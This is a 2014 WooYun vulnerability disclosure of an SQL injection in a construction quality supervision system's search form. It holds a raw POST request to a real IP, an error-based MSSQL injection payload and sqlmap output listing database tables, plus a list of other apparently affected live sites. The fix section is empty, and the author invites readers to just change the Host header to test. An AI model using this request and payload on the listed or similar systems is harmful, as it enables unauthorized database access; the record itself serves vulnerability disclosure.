当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073345

漏洞标题:某建设工程质量监督系统搜索框注入漏洞

相关厂商:Cncert国家互联网应急中心

漏洞作者: 炊烟

提交时间:2014-08-21 18:36

修复时间:2014-11-19 18:38

公开时间:2014-11-19 18:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-21: 细节已通知厂商并且等待厂商处理中
2014-08-26: 厂商已经确认,细节仅向厂商公开
2014-08-29: 细节向第三方安全合作伙伴开放
2014-10-20: 细节向核心白帽子及相关领域专家公开
2014-10-30: 细节向普通白帽子公开
2014-11-09: 细节向实习白帽子公开
2014-11-19: 细节向公众公开

简要描述:

捡漏???

详细说明:

http://wooyun.org/bugs/wooyun-2014-058757

POST /InfoList.aspx HTTP/1.1
Host: 220.169.236.108:8044
Proxy-Connection: keep-alive
Content-Length: 53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://220.169.236.108:8044
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://220.169.236.108:8044/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=ac111f45ftoycj55ykvrqx45
ClassId=-1&keyword=123&imageField.x=26&imageField.y=6


只需要修改HOST,就可以进行测试啦...

漏洞证明:







C:\Python27\sqlmap>sqlmap.py -r 2.txt -D PKPMBSjd(cc) --tables
sqlmap/1.0-dev-f110bfe - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 17:26:28
[17:26:28] [INFO] parsing HTTP request from '2.txt'
[17:26:28] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:26:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: POST
Parameter: ClassId
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ClassId=-1) AND 7645=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(
11)+CHAR(103)+CHAR(113)+(SELECT (CASE WHEN (7645=7645) THEN CHAR(49) ELSE CHAR(
8) END))+CHAR(113)+CHAR(116)+CHAR(118)+CHAR(113)+CHAR(113))) AND (8680=8680&key
ord=123&imageField.x=26&imageField.y=6
---
[17:26:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:26:29] [INFO] fetching tables for database: [PKPMBSjd(cc)]
[17:26:29] [INFO] the SQL query used returns 433 entries
[17:26:29] [INFO] retrieved: dbo.a
[17:26:29] [INFO] retrieved: dbo.BASP_ITM
[17:26:30] [INFO] retrieved: dbo.BASQ_ITM
[17:26:30] [INFO] retrieved: dbo.BASQSLJG_ITM
[17:26:30] [INFO] retrieved: dbo.BAZ_ITM
[17:26:30] [INFO] retrieved: dbo.BG_WorkRep
[17:26:31] [INFO] retrieved: dbo.BHGJCSJ_ITM
[17:26:31] [INFO] retrieved: dbo.BHSJSBSCQY_ITM
[17:26:31] [INFO] retrieved: dbo.BJZLQDDJB_ITM
[17:26:31] [INFO] retrieved: dbo.BLJLHSJLB_itm
[17:26:32] [INFO] retrieved: dbo.BLJLSXGZS_ITM
[17:26:32] [INFO] retrieved: dbo.BLXWGZS_ITM
[17:26:32] [INFO] retrieved: dbo.CFJD_ITM
[17:26:32] [INFO] retrieved: dbo.CFYJSP_ITM
[17:26:33] [INFO] retrieved: dbo.CJDWBGJL_ITM
[17:26:33] [INFO] retrieved: dbo.CJRYBGJL_ITM
[17:26:33] [INFO] retrieved: dbo.CLZLDQ_ITM
[17:26:33] [INFO] retrieved: dbo.CLZLFJ_ITM
[17:26:33] [INFO] retrieved: dbo.CLZLGD_ITM
[17:26:34] [INFO] retrieved: dbo.CLZLGUID_ITM
[17:26:34] [INFO] retrieved: dbo.comd_list
[17:26:34] [INFO] retrieved: dbo.CSXWBHGGCLB_ITM
[17:26:34] [INFO] retrieved: dbo.CSXWBQDSJGC_ITM
[17:26:35] [INFO] retrieved: dbo.D99_CMD
[17:26:35] [INFO] retrieved: dbo.DBCL_ITM
[17:26:35] [INFO] retrieved: dbo.DCBL_ITM
[17:26:35] [INFO] retrieved: dbo.DJJCBFYS_ITM
[17:26:36] [INFO] retrieved: dbo.DLJGYSSTZLJC_ITM
[17:26:36] [INFO] retrieved: dbo.DLSTJCJL_ITM
[17:26:36] [INFO] retrieved: dbo.DLSTZLJC_ITM
[17:26:36] [INFO] retrieved: dbo.DSRCSSBBL_ITM
[17:26:37] [WARNING] user aborted during enumeration. sqlmap will display parti
l output
Database: PKPMBSjd(cc)
[31 tables]
+------------------+
| BASP_ITM |
| BASQSLJG_ITM |
| BASQ_ITM |
| BAZ_ITM |
| BG_WorkRep |
| BHGJCSJ_ITM |
| BHSJSBSCQY_ITM |
| BJZLQDDJB_ITM |
| BLJLHSJLB_itm |
| BLJLSXGZS_ITM |
| BLXWGZS_ITM |
| CFJD_ITM |
| CFYJSP_ITM |
| CJDWBGJL_ITM |
| CJRYBGJL_ITM |
| CLZLDQ_ITM |
| CLZLFJ_ITM |
| CLZLGD_ITM |
| CLZLGUID_ITM |
| CSXWBHGGCLB_ITM |
| CSXWBQDSJGC_ITM |
| D99_CMD |
| DBCL_ITM |
| DCBL_ITM |
| DJJCBFYS_ITM |
| DLJGYSSTZLJC_ITM |
| DLSTJCJL_ITM |
| DLSTZLJC_ITM |
| DSRCSSBBL_ITM |
| a |
| comd_list |
+------------------+
[17:26:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 32 times
[17:26:37] [INFO] fetched data logged to text files under 'C:\Users\Administrat
r\.sqlmap\output\www.ccjdw.com'
[*] shutting down at 17:26:37


表太多了,我就不跑了..表里面还有【啊D】

http://www.thszjz.com/
http://www.jmkqzjz.com/
http://www.ccjdw.com/
http://www.jljszj.gov.cn/
http://220.169.236.108:8044/
http://www.jmkqzjz.com/
http://www.hrbzljd.com/
http://221.8.61.69/
...........

修复方案:

...

版权声明:转载请注明来源 炊烟@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-08-26 10:34

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过电话和邮件方式向软件生产厂商——中国建科院通报。同时将相关案例发给CNCERT四个分中心处置。

最新状态:

暂无


漏洞评价:

评论